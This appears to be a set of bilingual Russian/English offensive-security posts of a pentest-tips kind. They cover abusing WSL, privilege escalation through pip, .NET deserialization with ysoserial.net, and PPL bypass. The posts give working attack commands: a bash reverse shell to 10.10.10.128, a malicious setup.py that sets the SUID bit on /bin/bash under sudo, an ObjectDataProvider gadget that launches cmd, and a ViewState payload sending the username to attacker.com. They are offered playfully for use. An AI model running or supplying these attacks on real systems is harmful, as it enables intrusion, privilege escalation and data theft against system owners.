Abuse WSL

#RU

Windows Subsystem for Linux (WSL) - по факту данная функция в Windows, дает доступ к компактной версии файловой системе Linux, т.е мы можем выполнять практически любые команды Linux в Windows.
И естественно благодаря данной функции мы можем выполнить различные хитрости, которые нам недоступны как обычному пользователю, но можем выполнить в пределах нашего шелла. Нужны самые стандартные права пользователя, но важно, чтобы мы смогли выполнить wsl --install для включения данного функционала.
Потом убеждаемся, что данный функционал действительно работает и смотрим, доступен ли нам какой-либо дистрибутив Linux (по стандарту там будет Ubuntu)

#EN

Windows Subsystem for Linux (WSL) - in fact this function in Windows, gives us access to a compact version of the Linux file system, i.e. we can execute almost any Linux command in Windows.
And of course with this feature we can do all sorts of tricks which we can't do as a normal user but we can do within our shell. We need the most standard user rights, but it is important that we can run wsl --install to enable this feature.
Then we make sure that this feature really works and check if any Linux distro is available for us (by default this would be Ubuntu)

wsl --list --running

#RU

Если все ок, то проверьте, что у вас есть еще доступ к bash оболочке (bash.exe). Обычно он имеет путь следующий:
C:\Windows\system32\bash.exe

#EN

If everything is ok, check that you have access to the bash shell (bash.exe). It usually has the path as follows:
C:\Windows\system32\bash.exe

Начинаем с базового | Starting with basic

wsl.exe "whoami"

OR

bash.exe -c "whoami"

Если ответ видим root, то можно попробовать rev-shell | If the answer is root, you can try rev-shell

bash.exe -c "bash -i >& /dev/tcp/10.10.10.128/5555 0>&1"

#RU

P.S если что то это не тот же самый root, который есть в виндовой тачке, однако мы можем выполнять теперь те действия, которые изначально нам не были доступны

#EN

P.S it is not the same as root, which is in the wind machine, but we can now do things that were not originally available to us

#RU

Мы можем выполнять/модифицировать различные бинари на основной машине

#EN

We can run/modify different binary on the main machine

wsl.exe -e /mnt/c/Windows/System32/NeTrojan.exe

Have fun 👀

Privilege Escalation via pip

Всеми наш любимый pip позволяет автоматически запускать код, когда разработчики просто загружают пакет. Таким образом мы можем скачать пакет и использовать эту возможность для повышения привилегий

После того, как мы сделали sudo -l. Мы видим, что pip download или pip setup можно запустить от sudo, так что давайте этим воспользуемся.
Сначала скопируем нужный нам репозиторий

Затем давайте сделаем некоторые изменения в файле setup.py. Импортируем os для запуска наших команд и в функции RunCommand поместим os.system("chmod u+s /bin/bash").

Собираем

python3 -m build

И скачиваем наш пакет

sudo pip3 download http://localhost/your-file.tar.gz

И теперь запустим шелл

bash -p

Have fun 👍

P.S
Полный код в комментариях

THX:
https://medium.com/checkmarx-security/automatic-execution-of-code-upon-package-download-on-python-package-manager-cd6ed9e366a8

Insecure Deserialization in C#

Фреймворк .NET предлагает нам различные способы сериализации наших объектов 😫

Смотрим BinaryFormatter

using System.Runtime.Serialization.Formatters.Binary;
public class SomeClass
{
public string SomeProperty { get; set; }
public double SomeOtherProperty { get; set; }
}
class Program
{
static void Main(string[] args)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream(File.ReadAllBytes("untrusted.file"));
SomeClass obj = (SomeClass)binaryFormatter.Deserialize(memoryStream);
Console.WriteLine(obj.SomeProperty);
Console.WriteLine(obj.SomeOtherProperty);
}
}

Предлагаю немного посмотреть на используемые классы и методы.

BinaryFormatter() - по факту сериализует и десериализует объекты. Замечу что сами Microsoft в своей документации пишут, что тип BinaryFormatter является небезопасным и устаревшим. Достается из либы System.Runtime.Serialization.Formatters.Binary

MemoryStream() - помогает уже читать и записывать данные с помощью памяти в качестве резервного хранилища. Его вообще также не рекомендуют использовать, однако по заявлениям сообщества аналогов нету. Из-за своей специфики он чаще всего может привести вас к OutOfMemoryException. Про его проблемы рекомендую лучше почитать статью, в котором кратко, но поясняют его проблемы и как их решать

Смотрим ObjectDataProvider

Класс ObjectDataProvider оборачивает и создает объект, который можно использовать в качестве источника привязки. Звучит не очень, знаю. 🤓
Говоря по простому, класс позволяет использовать MethodParameters для установки произвольных параметров, а затем использовать MethodName для вызова функции объекта, объявленной с использованием произвольных параметров.
Таким образом, при десериализации объект будет выполнять функцию с параметрами, которые вы можете эксплуатировать.

Вот пример кода, как это все работает:

using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Необходимо добавить в качестве ссылки C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll для того, чтобы загрузить System.Windows.Data, иначе код не скомпилируется 👀

YSOSERIAL.NET

Пользователь может использовать общедоступные инструменты, такие как ysoserial.net, для легкого создания пэйлоада, использующий внешние библиотеки, и таким образом построить цепочку гаджетов, которая в конечном итоге приведет к RCE.

Играемся с ViewState

Как-то раз была статья об эксплуатации десериализации в ASP.NET через ViewState
ViewState - это метод, в ASP.NET. Используется для сохранения значений страницы и элементов управления между страницами. Когда HTML для страницы отображает, текущее состояние страницы и значения, которые должны быть сохранены при возврате, то они сериализуются в base64 и хранятся в параметре ViewState.
Здесь также, не буду вдаваться в подробности, а просто приведу пример эксплуатации через ysoserial.net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

И получаем большой ответ в виде base64 и пихаем его в ViewState

Произошел абьюз PPL

Механизм Windows Protected Process Light (PPL) обеспечивает защиту от малварей. Windows Code Integrity (CI), которая гарантирует, что процессы PPL будут запускать только код со специальными подписями от Microsoft или других доверенных поставщиков.

Однако байпасс PPL особенно интересен, поскольку Microsoft считает PPL мерой защиты, а не формальной границей безопасности, поэтому эти ошибки не подлежат исправлению.

Чувак на BlackHat Asia 2023 (буквально недавно), представил интересные атаки: PPLFault и GodFault

Держите 👍

https://github.com/gabriellandau/PPLFault

Пора решать таски по байпассу IDS на PhD 👍